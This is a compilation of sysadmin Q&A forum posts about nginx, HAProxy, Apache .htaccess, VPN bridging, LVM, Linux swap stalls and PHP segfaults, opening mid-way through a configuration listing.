!~ ^/files/([a-fA-F0-9]+)_(220|45)\.jpg$) { return 403; } rewrite ^/files/([a-fA-F0-9][a-fA-F0-9])([a-fA-F0-9][a-fA-F0-9])([a-fA-F0-9][a-fA-F0-9])([a-fA-F0-9][a-fA-F0-9])([a-fA-F0-9]+)_(220|45)\.jpg$ /files/$1/$2/$3/$4/$1$2$3$4$5_$6.jpg break; try_files $uri @to_backend; } location /assets { if ($uri ~ ^/assets/r([a-zA-Z0-9]+[^/])(/(css|js|fonts)/.*)) { rewrite ^/assets/r([a-zA-Z0-9]+[^/])/(css|js|fonts)/(.*)$ /assets/$2/$3 break; } try_files $uri @to_backend; } location / { proxy_set_header Host $new_host; proxy_set_header X-HAProxy-IP $remote_addr; proxy_pass http://10.5.0.10:8080; } location @to_backend { proxy_set_header Host $new_host; proxy_pass http://10.5.0.10:8080; } } nginx.conf (backend machine) http{ ... ## # GeoIP Config ## geoip_country /etc/nginx/geoip/GeoIP.dat; # the country IP database geoip_city /etc/nginx/geoip/GeoLiteCity.dat; # the city IP database ... } fastcgi_params (backend machine) ### SET GEOIP Variables ### fastcgi_param GEOIP_COUNTRY_CODE $geoip_country_code; fastcgi_param GEOIP_COUNTRY_CODE3 $geoip_country_code3; fastcgi_param GEOIP_COUNTRY_NAME $geoip_country_name; fastcgi_param GEOIP_CITY_COUNTRY_CODE $geoip_city_country_code; fastcgi_param GEOIP_CITY_COUNTRY_CODE3 $geoip_city_country_code3; fastcgi_param GEOIP_CITY_COUNTRY_NAME $geoip_city_country_name; fastcgi_param GEOIP_REGION $geoip_region; fastcgi_param GEOIP_CITY $geoip_city; fastcgi_param GEOIP_POSTAL_CODE $geoip_postal_code; fastcgi_param GEOIP_CITY_CONTINENT_CODE $geoip_city_continent_code; fastcgi_param GEOIP_LATITUDE $geoip_latitude; fastcgi_param GEOIP_LONGITUDE $geoip_longitude; haproxy.conf (frontend machine) defaults log global option forwardfor option httpclose mode http retries 3 option redispatch maxconn 4096 contimeout 100000 clitimeout 100000 srvtimeout 100000 listen cluster_webs *:8080 mode http option tcpka option httpchk option httpclose option forwardfor balance roundrobin server backend-stage 10.5.0.11:80 weight 1 $_SERVER dump: http://paste.laravel.com/7dy Where 10.5.0.10 is frontend private ip and 10.5.0.11 backend private ip

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How to bridge Debian guest VM to VPN via Cisco AnyConnect Client running on Windows Vista host

- by bgoodr

I am running Cisco Anyconnect VPN Client version 2.5.3054 on a laptop running Windows Vista Home Premium (version 6.0.6002) Service Pack 2. I am running the VMware Player version 4.0.2 build-591240. The host operating system running under VMware Player is Debian 6.0.2.1 i386. The laptop is connected to a wireless connection, and I can browse the web from Windows Vista using Firefox just fine. I am able to boot into the Debian VM and open up a browser and access websites on the WAN from within the VM just fine. I can ping real Linux hosts on my LAN via: ping <lan_system>.local where <lan_system> is the hostname returned from uname -a on that system on my LAN. From a DOS CMD shell, I am able to ping hosts that exist on the remote network served by the Cisco AnyConnect Client's VPN network (and without the .local suffix applied as above): ping <remote_system> However, from within the Debian VM, I expect to be able to also ping those same remote hosts (<remote_system>) that are tunnelled over the VPN set up by Cisco AnyConnect Client. Let's say that I can ping a <remote_system> called flubber from a DOS CMD prompt just fine. When I execute Linux ping command from inside the Debian VM via: ping flubber It returns immediately with this output: ping: unknown host flubber For reference since I suspect it will be useful, here is the output of the route print command from the DOS CMD prompt: route print =========================================================================== Interface List 30 ...00 05 9a 3c 7a 00 ...... Cisco AnyConnect VPN Virtual Miniport Adapter for Windows 11 ...00 1b 9e c4 de e5 ...... Atheros AR5007EG Wireless Network Adapter 26 ...00 50 56 c0 00 01 ...... VMware Virtual Ethernet Adapter for VMnet1 28 ...00 50 56 c0 00 08 ...... VMware Virtual Ethernet Adapter for VMnet8 1 ........................... Software Loopback Interface 1 12 ...02 00 54 55 4e 01 ...... Teredo Tunneling Pseudo-Interface 13 ...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3 32 ...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #4 27 ...00 00 00 00 00 00 00 e0 isatap.{E5292CF6-4FBB-4320-806D-A6B366769255} 17 ...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2 20 ...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #8 22 ...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #10 24 ...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #11 25 ...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #12 29 ...00 00 00 00 00 00 00 e0 isatap.{C3852986-5053-4E2E-BE60-52EA2FCF5899} 41 ...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #14 =========================================================================== At the top window border of the VM, clicking on Virtual Machine, then clicking on Virtual Machine Settings, then clicking on Network Adapter, I have these two options checked: [X] Bridged: Connected directly to the physical Network [X] Replicate physical network connection state [ ] NAT: used to share the hosts's IP address [ ] Host-only: A private network shared with the host [ ] LAN segment: [ ] <LAN Segments...> <Advanced> I've toyed with the other options such as NAT and Host-only but that had no effect. Is there some way to allow the VM to access those <remote_system>'s?

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No device file for partition on logical volume (Linux LVM)

- by Brian

I created a logical volume (scandata) containing a single ext3 partition. It is the only logical volume in its volume group (case4t). Said volume group is comprised by 3 physical volumes, which are three primary partitions on a single block device (/dev/sdb). When I created it, I could mount the partition via the block device /dev/mapper/case4t-scandatap1. Since last reboot the aforementioned block device file has disappeared. It may be of note -- I'm not sure -- that my superior (a college professor) had prompted this reboot by running sudo chmod -R [his name] /usr/bin, which obliterated all suid in its path, preventing the both of us from sudo-ing. That issue has been (temporarily) rectified via this operation. Now I'll cut the chatter and get started with the terminal dumps: $ sudo pvs; sudo vgs; sudo lvs Logging initialised at Sat Jan 8 11:42:34 2011 Set umask to 0077 Scanning for physical volume names PV VG Fmt Attr PSize PFree /dev/sdb1 case4t lvm2 a- 819.32G 0 /dev/sdb2 case4t lvm2 a- 866.40G 0 /dev/sdb3 case4t lvm2 a- 47.09G 0 Wiping internal VG cache Logging initialised at Sat Jan 8 11:42:34 2011 Set umask to 0077 Finding all volume groups Finding volume group "case4t" VG #PV #LV #SN Attr VSize VFree case4t 3 1 0 wz--n- 1.69T 0 Wiping internal VG cache Logging initialised at Sat Jan 8 11:42:34 2011 Set umask to 0077 Finding all logical volumes LV VG Attr LSize Origin Snap% Move Log Copy% Convert scandata case4t -wi-a- 1.69T Wiping internal VG cache $ sudo vgchange -a y Logging initialised at Sat Jan 8 11:43:14 2011 Set umask to 0077 Finding all volume groups Finding volume group "case4t" 1 logical volume(s) in volume group "case4t" already active 1 existing logical volume(s) in volume group "case4t" monitored Found volume group "case4t" Activated logical volumes in volume group "case4t" 1 logical volume(s) in volume group "case4t" now active Wiping internal VG cache $ ls /dev | grep case4t case4t $ ls /dev/mapper case4t-scandata control $ sudo fdisk -l /dev/case4t/scandata Disk /dev/case4t/scandata: 1860.5 GB, 1860584865792 bytes 255 heads, 63 sectors/track, 226203 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Disk identifier: 0x00049bf5 Device Boot Start End Blocks Id System /dev/case4t/scandata1 1 226203 1816975566 83 Linux $ sudo parted /dev/case4t/scandata print Model: Linux device-mapper (linear) (dm) Disk /dev/mapper/case4t-scandata: 1861GB Sector size (logical/physical): 512B/512B Partition Table: msdos Number Start End Size Type File system Flags 1 32.3kB 1861GB 1861GB primary ext3 $ sudo fdisk -l /dev/sdb Disk /dev/sdb: 1860.5 GB, 1860593254400 bytes 255 heads, 63 sectors/track, 226204 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Disk identifier: 0x00000081 Device Boot Start End Blocks Id System /dev/sdb1 1 106955 859116006 83 Linux /dev/sdb2 113103 226204 908491815 83 Linux /dev/sdb3 106956 113102 49375777+ 83 Linux Partition table entries are not in disk order $ sudo parted /dev/sdb print Model: DELL PERC 6/i (scsi) Disk /dev/sdb: 1861GB Sector size (logical/physical): 512B/512B Partition Table: msdos Number Start End Size Type File system Flags 1 32.3kB 880GB 880GB primary reiserfs 3 880GB 930GB 50.6GB primary 2 930GB 1861GB 930GB primary I find it a bit strange that partition one above is said to be reiserfs, or if it matters -- it was previously reiserfs, but LVM recognizes it as a PV. To reiterate, neither /dev/mapper/case4t-scandatap1 (which I had used previously) nor /dev/case4t/scandata1 (as printed by fdisk) exists. And /dev/case4t/scandata (no partition number) cannot be mounted: $sudo mount -t ext3 /dev/case4t/scandata /mnt/new mount: wrong fs type, bad option, bad superblock on /dev/mapper/case4t-scandata, missing codepage or helper program, or other error In some cases useful info is found in syslog - try dmesg | tail or so All I get on syslog is: [170059.538137] VFS: Can't find ext3 filesystem on dev dm-0. Thanks in advance for any help you can offer, Brian P.S. I am on Ubuntu GNU/Linux 2.6.28-11-server (Jaunty) (out of date, I know -- that's on the laundry list).

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GNU/Linux swapping blocks system

- by Ole Tange

I have used GNU/Linux on systems from 4 MB RAM to 512 GB RAM. When they start swapping, most of the time you can still log in and kill off the offending process - you just have to be 100-1000 times more patient. On my new 32 GB system that has changed: It blocks when it starts swapping. Sometimes with full disk activity but other times with no disk activity. To examine what might be the issue I have written this program. The idea is: 1 grab 3% of the memory free right now 2 if that caused swap to increase: stop 3 keep the chunk used for 30 seconds by forking off 4 goto 1 - #!/usr/bin/perl sub freekb { my $free = `free|grep buffers/cache`; my @a=split / +/,$free; return $a[3]; } sub swapkb { my $swap = `free|grep Swap:`; my @a=split / +/,$swap; return $a[2]; } my $swap = swapkb(); my $lastswap = $swap; my $free; while($lastswap >= $swap) { print "$swap $free"; $lastswap = $swap; $swap = swapkb(); $free = freekb(); my $used_mem = "x"x(1024 * $free * 0.03); if(not fork()) { sleep 30; exit(); } } print "Swap increased $swap $lastswap\n"; Running the program forever ought to keep the system at the limit of swapping, but only grabbing a minimal amount of swap and do that very slowly (i.e. a few MB at a time at most). If I run: forever free | stdbuf -o0 timestamp > freelog I ought to see swap slowly rising every second. (forever and timestamp from https://github.com/ole-tange/tangetools). But that is not the behaviour I see: I see swap increasing in jumps and that the system is completely blocked during these jumps. Here the system is blocked for 30 seconds with the swap usage increases with 1 GB: secs 169.527 Swap: 18440184 154184 18286000 170.531 Swap: 18440184 154184 18286000 200.630 Swap: 18440184 1134240 17305944 210.259 Swap: 18440184 1076228 17363956 Blocked: 21 secs. Swap increase 2400 MB: 307.773 Swap: 18440184 581324 17858860 308.799 Swap: 18440184 597676 17842508 330.103 Swap: 18440184 2503020 15937164 331.106 Swap: 18440184 2502936 15937248 Blocked: 20 secs. Swap increase 2200 MB: 751.283 Swap: 18440184 885288 17554896 752.286 Swap: 18440184 911676 17528508 772.331 Swap: 18440184 3193532 15246652 773.333 Swap: 18440184 1404540 17035644 Blocked: 37 secs. Swap increase 2400 MB: 904.068 Swap: 18440184 613108 17827076 905.072 Swap: 18440184 610368 17829816 942.424 Swap: 18440184 3014668 15425516 942.610 Swap: 18440184 2073580 16366604 This is bad enough, but what is even worse is that the system sometimes stops responding at all - even if I wait for hours. I have the feeling it is related to the swapping issue, but I cannot tell for sure. My first idea was to tweak /proc/sys/vm/swappiness from 60 to 0 or 100, just to see if that had any effect at all. 0 did not have an effect, but 100 did cause the problem to arise less often. How can I prevent the system from blocking for such a long time? Why does it decide to swapout 1-3 GB when less than 10 MB would suffice?

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nginx 502 Bad Gateway on every external site

- by Leandros

I just installed nginx and followed the guides on the official site, to set it up with php5-fpm, but it just won't work. Not even the default site, without php is working outside of my server. Tried listen = 127.0.0.1:7777 and listen = /var/run/php5-fpm.sock Both don't work. I can access http://localhost with lynx on my server, but not from somewhere else (with external ip obviously). Yes, the php5-fpm deamons are running, yes the port (80 and 7777) is opened. Don't work with php-cgi as well. My config: user www-data; worker_processes 4; pid /var/run/nginx.pid; events { worker_connections 768; # multi_accept on; } http { ## # Basic Settings ## sendfile on; tcp_nopush on; tcp_nodelay on; keepalive_timeout 65; types_hash_max_size 2048; # server_tokens off; # server_names_hash_bucket_size 64; # server_name_in_redirect off; include /etc/nginx/mime.types; default_type application/octet-stream; ## # Logging Settings ## access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; ## # Gzip Settings ## gzip on; gzip_disable "msie6"; # gzip_vary on; # gzip_proxied any; # gzip_comp_level 6; # gzip_buffers 16 8k; # gzip_http_version 1.1; # gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript; ## # nginx-naxsi config ## # Uncomment it if you installed nginx-naxsi ## #include /etc/nginx/naxsi_core.rules; ## # nginx-passenger config ## # Uncomment it if you installed nginx-passenger ## #passenger_root /usr; #passenger_ruby /usr/bin/ruby; ## # Virtual Host Configs ## include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; proxy_buffers 16 16k; proxy_buffer_size 32k; fastcgi_buffers 16 16k; fastcgi_buffer_size 32k; fastcgi_connect_timeout 300; fastcgi_send_timeout 300; fastcgi_read_timeout 300; } Server config: (symlinked to sites-enabled) server { server_name skilloverflow.de *.skilloverflow.de; root /var/www/blog.skilloverflow.de/htdocs; index index.php; error_log /var/log/nginx/skilloverflow.error.log; access_log /var/log/nginx/skilloverflow.access.log; location = /favicon.ico { log_not_found off; access_log off; } location = /robots.txt { allow all; log_not_found off; access_log off; } location / { # This is cool because no php is touched for static content. # include the "?$args" part so non-default permalinks doesn't break when using query string try_files $uri $uri/ /index.php?$args; } location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; if (!-f $document_root$fastcgi_script_name) { return 404; } fastcgi_pass 127.0.0.1:7777; fastcgi_index index.php; include fastcgi_params; } location ~* \.(js|css|png|jpg|jpeg|gif|ico)$ { expires max; log_not_found off; } # deny access to apache .htaccess files location ~ /\.ht { deny all; } # deny access to apache .htaccess files location ~ /\.ht { deny all; } } PHP Version: 5.4.17-1 nginx version: 1.2.1 Debian 6.0.7 Linux 2.6.32 Edit: Lighttpd is still installed, does that matter? It's not running though. Edit 2: No error or access log is generated. They're all empty.

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Having Hotlink Protectin problem in nginx

- by Ayaz Malik

Hello, i am having image hotlink protection problem in my nginx need help. i have a huge issue of my site's images being submited to social networks like stumbleupon with direct link ... xxxxx.jpg which some times get huge traffic and increases cpu usage plus bandwidth usage. what i am trying to do is block direct access to image from other refrers and hotlink protection. Here is the code from my vhost.conf server { access_log off; error_log logs/vhost-error_log warn; listen 80; server_name mydomain.com www.mydomain.com; # uncomment location below to make nginx serve static files instead of Apache # NOTE this will cause issues with bandwidth accounting as files wont be logged location ~* \.(gif|jpg|jpeg|png|wmv|avi|mpg|mpeg|mp4|htm|html|js|css)$ { root /home/username/public_html; expires 1d; } root /home/mydomain/public_html; } location / { client_max_body_size 10m; client_body_buffer_size 128k; proxy_send_timeout 90; proxy_read_timeout 90; proxy_buffer_size 4k; # you can increase proxy_buffers here to suppress "an upstream response # is buffered to a temporary file" warning proxy_buffers 16 32k; proxy_busy_buffers_size 64k; proxy_temp_file_write_size 64k; proxy_connect_timeout 30s; proxy_redirect http://www.mydomain.com:81 http://www.mydomain.com; proxy_redirect http://mydomain.com:81 http://mydomain.com; proxy_pass http://ip_address/; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; expires 24h; } } So for hotlink protection i added this code : location ~* (\.jpg|\.png|\.gif|\.jpeg)$ { valid_referers blocked www.mydomain.com mydomain.com; if ($invalid_referer) { return 403; } This is how the current nginx code for this domain looks like but didn't worked: server { access_log off; error_log logs/vhost-error_log warn; listen 80; server_name mydomain.com www.mydomain.com; # uncomment location below to make nginx serve static files instead of Apache # NOTE this will cause issues with bandwidth accounting as files wont be logged location ~* \.(gif|jpg|jpeg|png|wmv|avi|mpg|mpeg|mp4|htm|html|js|css)$ { root /home/username/public_html; expires 1d; } root /home/mydomain/public_html; } location ~* (\.jpg|\.png|\.gif|\.jpeg)$ { valid_referers blocked www.mydomain.com mydomain.com; if ($invalid_referer) { return 403; } location / { client_max_body_size 10m; client_body_buffer_size 128k; proxy_send_timeout 90; proxy_read_timeout 90; proxy_buffer_size 4k; # you can increase proxy_buffers here to suppress "an upstream response # is buffered to a temporary file" warning proxy_buffers 16 32k; proxy_busy_buffers_size 64k; proxy_temp_file_write_size 64k; proxy_connect_timeout 30s; proxy_redirect http://www.mydomain.com:81 http://www.mydomain.com; proxy_redirect http://mydomain.com:81 http://mydomain.com; proxy_pass http://ip_address/; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; expires 24h; } } Thank you in advance :) cheers

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Nginx traffic is going to wrong upsteam when mixing named servers and default servers

- by Morgan

I have the below config file for nginx. The problem is all traffic is going to upstream clustera. How do I configure nginx to only send traffic for example.com to clustera and all the rest to clusterb? user www-data; worker_processes 1; error_log /var/log/nginx/error.log; pid /var/run/nginx.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; log_format cache '\n*** $remote_addr [$time_local] ' '[$upstream_cache_status] $upstream_response_time ' '$host "$request" ($status) $body_bytes_sent ' '"$http_referer" "$http_user_agent" ' 'Cache-Control: $upstream_http_cache_control ' 'Expires: $upstream_http_expires ' ; access_log /var/log/nginx/access.log cache; sendfile on; keepalive_timeout 65; gzip on; gzip_vary on; gzip_comp_level 6; gzip_proxied any; gzip_disable "MSIE [1-6]\.(?!.*SV1)"; gzip_buffers 16 8k; include /etc/nginx/conf.d/*.conf; proxy_cache_key "$scheme$host$request_uri"; proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=main:10m max_size=1g inactive=30m; upstream clustera { ip_hash; server a.example.com:80; } upstream clusterb { ip_hash; server b.example.com:80; } client_max_body_size 20m; client_body_buffer_size 128k; proxy_connect_timeout 300; proxy_send_timeout 300; proxy_read_timeout 300; # host for example.com should send traffic to clustera server { listen 80; server_name example.com; location ~*(png|jpeg|jpg|gif|ico|css|js)$ { proxy_pass http://clustera; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_cache main; proxy_cache_valid 200 5m; proxy_cache_valid 302 1m; } location / { proxy_pass http://clustera; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } } # host for everyone else. traffic goes to clusterb server { listen 80; server_name _; if ( $http_user_agent ~* (spider|crawler|slurp) ) { return 503; } set $slow 0; if ( $http_user_agent ~* (bot) ) { set $slow 1; } if ( $slow ) { set $limit_rate 1k; } location ~*(png|jpeg|jpg|gif|ico|css|js)$ { proxy_pass http://clusterb; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_cache main; proxy_cache_valid 200 5m; proxy_cache_valid 302 1m; } location /images { proxy_pass http://clisterb; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_cache main; proxy_cache_valid 200 5m; proxy_cache_valid 302 1m; } location / { proxy_pass http://clusterb; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } } }

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How to troubleshoot a PHP script that causes a Segmenation Fault?

- by johnlai2004

I posted this on stackoverflow.com as well because I'm not sure if this is a programming problem or a server problem. I'm using ubuntu 9.10, apache2, mysql5 and php5. I've noticed an unusual problem with some of my php programs. Sometimes when visiting a page like profile.edit.php, the browser throws a dialogue box asking to download profile.edit.php page. When I download it, there's nothing in the file. profile.edit.php is supposed to be a web form that edits user information. I've noticed this on some of my other php pages as well. I look in my apache error logs, and I see a segmentation fault message: [Mon Mar 08 15:40:10 2010] [notice] child pid 480 exit signal Segmentation fault (11) And also, the issue may or may not appear depending on which server I deploy my application too. Additonal Details This doesn't happen all the time though. It only happens sometimes. For example, profile.edit.php will load properly. But as soon as I hit the save button (form action="profile.edit.php?save=true"), then the page asks me to download profile.edit.php. Could it be that sometimes my php scripts consume too much resources? Sample code Upon save action, my profile.edit.php includes a data_access_object.php file. I traced the code in data_access_object.php to this line here if($params[$this->primaryKey]) { $q = "UPDATE $this->tableName SET ".implode(', ', $fields)." WHERE ".$this->primaryKey." = ?$this->primaryKey"; $this->bind($this->primaryKey, $params[$this->primaryKey], $this->tblFields[$this->primaryKey]['mysqlitype']); } else { $q = "INSERT $this->tableName SET ".implode(', ', $fields); } // Code executes perfectly up to this point // echo 'print this'; exit; // if i uncomment this line, profile.edit.php will actually show 'print this'. If I leave it commented, the browser will ask me to download profile.edit.php if(!$this->execute($q)){ $this->errorSave = -3; return false;} // When I jumped into the function execute(), every line executed as expected, right up to the return statement. And if it helps, here's the function execute($sql) in data_access_object.php function execute($sql) { // find all list types and explode them // eg. turn ?listId into ?listId0,?listId1,?listId2 $arrListParam = array_bubble_up('arrayName', $this->arrBind); foreach($arrListParam as $listName) if($listName) { $explodeParam = array(); $arrList = $this->arrBind[$listName]['value']; foreach($arrList as $key=>$val) { $newParamName = $listName.$key; $this->bind($newParamName,$val,$this->arrBind[$listName]['type']); $explodeParam[] = '?'.$newParamName; } $sql = str_replace("?$listName", implode(',',$explodeParam), $sql); } // replace all ?varName with ? for syntax compliance $sqlParsed = preg_replace('/\?[\w\d_\.]+/', '?', $sql); $this->stmt->prepare($sqlParsed); // grab all the parameters from the sql to create bind conditions preg_match_all('/\?[\w\d_\.]+/', $sql, $matches); $matches = $matches[0]; // store bind conditions $types = ''; $params = array(); foreach($matches as $paramName) { $types .= $this->arrBind[str_replace('?', '', $paramName)]['type']; $params[] = $this->arrBind[str_replace('?', '', $paramName)]['value']; } $input = array('types'=>$types) + $params; // bind it if(!empty($types)) call_user_func_array(array($this->stmt, 'bind_param'), $input); $stat = $this->stmt->execute(); if($GLOBALS['DEBUG_SQL']) echo '<p style="font-weight:bold;">SQL error after execution:</p> ' . $this->stmt->error.'<p> </p>'; $this->arrBind = array(); return $stat; }

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nginx + php-fpm cycle redirection error on linode new vps

- by chifliiiii

I'm new to nginx, and I'm trying to make my first server run. I followed this guide as I'm trying to use it for a multisite wordpress site. After installing everything, I get a 500 Internal server error. If I check logs, I see this: 012/09/27 08:55:54 [error] 11565#0: *8 rewrite or internal redirection cycle while internally redirecting to "/index.html", client: xxx.xxx.xxx.xxx, server: localhost, request: "GET /favicon.ico HTTP/1.1", host: "www.mydomain.com" 2012/09/27 08:59:32 [error] 11618#0: *1 rewrite or internal redirection cycle while internally redirecting to "/index.html", client: xxx.xxx.xxx.xxx, server: localhost, request: "GET /phpmyadmin HTTP/1.1", host: "www.mydomain.com" My conf files are the following: nano /etc/nginx/sites-available/mydomain.com server { listen 80 default_server; server_name mydomain.com *.mydomain.com; root /srv/www/aciup.com/public; access_log /srv/www/mydomain.com/log/access.log; error_log /srv/www/mydomain.com/log/error.log; location / { index index.php; try_files $uri $uri/ /index.php?$args; } # Add trailing slash to */wp-admin requests. rewrite /wp-admin$ $scheme://$host$uri/ permanent; # Directives to send expires headers and turn off 404 error logging. location ~* \.(js|css|png|jpg|jpeg|gif|ico)$ { expires 24h; log_not_found off; } # this prevents hidden files (beginning with a period) from being served location ~ /\. { access_log off; log_not_found off; deny all; } # Pass uploaded files to wp-includes/ms-files.php. rewrite /files/$ /index.php last; if ($uri !~ wp-content/plugins) { rewrite /files/(.+)$ /wp-includes/ms-files.php?file=$1 last; } # Rewrite multisite '.../wp-.*' and '.../*.php'. if (!-e $request_filename) { rewrite ^/[_0-9a-zA-Z-]+(/wp-.*) $1 last; rewrite ^/[_0-9a-zA-Z-]+.*(/wp-admin/.*\.php)$ $1 last; rewrite ^/[_0-9a-zA-Z-]+(/.*\.php)$ $1 last; } location ~ \.php$ { client_max_body_size 25M; fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_index index.php; include /etc/nginx/fastcgi_params; } } nano /etc/nginx/nginx.conf user www-data; worker_processes 4; worker_cpu_affinity 0001 0010 0100 1000; error_log /var/log/nginx/error.log; pid /var/run/nginx.pid; events { worker_connections 2048; } http { include /etc/nginx/mime.types; access_log /var/log/nginx/access.log; sendfile on; tcp_nopush on; keepalive_timeout 5; tcp_nodelay on; server_tokens off; gzip on; gzip_types text/plain text/css application/x-javascript text/xml application/xml application/xml+rss text/javascript; gzip_disable "MSIE [1-6]\.(?!.*SV1)"; include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; } Any help will be appreciated.

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.htaccess template, suggestions needed.

- by purpler

I compiled myself a .htaccess template and would like to know whether the caching and compressions is set up right, constructive suggestions and critics needed. # Defaults AddDefaultCharset UTF-8 DefaultLanguage en-US FileETag None Header unset ETag ServerSignature Off SetEnv TZ Europe/Belgrade # Rewrites Options +FollowSymLinks RewriteEngine On RewriteBase / # Redirect to WWW RewriteCond %{HTTP_HOST} ^serpentineseo.com RewriteRule (.*) http://www.serpentineseo.com/$1 [R=301,L] # Redirect index to root RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /.*index\.html\ HTTP/ RewriteRule ^(.*)index\.html$ /$1 [R=301,L] # Cache media files: ExpiresActive On ExpiresDefault A0 # Month <filesMatch "\.(gif|jpg|jpeg|png|ico|swf|js)$"> Header set Cache-Control "max-age=2592000, public" </filesMatch> # Week <FilesMatch "\.(css|pdf)$"> Header set Cache-Control "max-age=604800" </FilesMatch> # 10 Min <FilesMatch "\.(html|htm|txt)$"> Header set Cache-Control "max-age=600" </FilesMatch> # Do not cache <FilesMatch "\.(pl|php|cgi|spl|scgi|fcgi)$"> Header unset Cache-Control </FilesMatch> # Compress output <IfModule mod_deflate.c> <FilesMatch "\.(html|js|css)$"> SetOutputFilter DEFLATE </FilesMatch> </IfModule> # Error Documents ErrorDocument 206 /error/206.html ErrorDocument 401 /error/401.html ErrorDocument 403 /error/403.html ErrorDocument 404 /error/404.html ErrorDocument 500 /error/500.html # Prevent hotlinking RewriteCond %{HTTP_REFERER} !^$ RewriteCond %{HTTP_REFERER} !^http://(www\.)?serpentineseo.com/.*$ [NC] RewriteRule \.(gif|jpg|png)$ http://www.serpentineseo.com/images/angryman.png [R,L] # Prevent offline browsers RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [OR] RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:[email protected] [OR] RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR] RewriteCond %{HTTP_USER_AGENT} ^Custo [OR] RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR] RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [OR] RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR] RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [OR] RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [OR] RewriteCond %{HTTP_USER_AGENT} ^EmailWolf [OR] RewriteCond %{HTTP_USER_AGENT} ^Express\ WebPictures [OR] RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [OR] RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [OR] RewriteCond %{HTTP_USER_AGENT} ^FlashGet [OR] RewriteCond %{HTTP_USER_AGENT} ^GetRight [OR] RewriteCond %{HTTP_USER_AGENT} ^GetWeb! [OR] RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [OR] RewriteCond %{HTTP_USER_AGENT} ^Go-Ahead-Got-It [OR] RewriteCond %{HTTP_USER_AGENT} ^GrabNet [OR] RewriteCond %{HTTP_USER_AGENT} ^Grafula [OR] RewriteCond %{HTTP_USER_AGENT} ^HMView [OR] RewriteCond %{HTTP_USER_AGENT} HTTrack [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [OR] RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker [OR] RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^InterGET [OR] RewriteCond %{HTTP_USER_AGENT} ^Internet\ Ninja [OR] RewriteCond %{HTTP_USER_AGENT} ^JetCar [OR] RewriteCond %{HTTP_USER_AGENT} ^JOC\ Web\ Spider [OR] RewriteCond %{HTTP_USER_AGENT} ^larbin [OR] RewriteCond %{HTTP_USER_AGENT} ^LeechFTP [OR] RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [OR] RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [OR] RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [OR] RewriteCond %{HTTP_USER_AGENT} ^Navroad [OR] RewriteCond %{HTTP_USER_AGENT} ^NearSite [OR] RewriteCond %{HTTP_USER_AGENT} ^NetAnts [OR] RewriteCond %{HTTP_USER_AGENT} ^NetSpider [OR] RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [OR] RewriteCond %{HTTP_USER_AGENT} ^NetZIP [OR] RewriteCond %{HTTP_USER_AGENT} ^Octopus [OR] RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer [OR] RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [OR] RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [OR] RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [OR] RewriteCond %{HTTP_USER_AGENT} ^pavuk [OR] RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [OR] RewriteCond %{HTTP_USER_AGENT} ^RealDownload [OR] RewriteCond %{HTTP_USER_AGENT} ^ReGet [OR] RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [OR] RewriteCond %{HTTP_USER_AGENT} ^SmartDownload [OR] RewriteCond %{HTTP_USER_AGENT} ^SuperBot [OR] RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP [OR] RewriteCond %{HTTP_USER_AGENT} ^Surfbot [OR] RewriteCond %{HTTP_USER_AGENT} 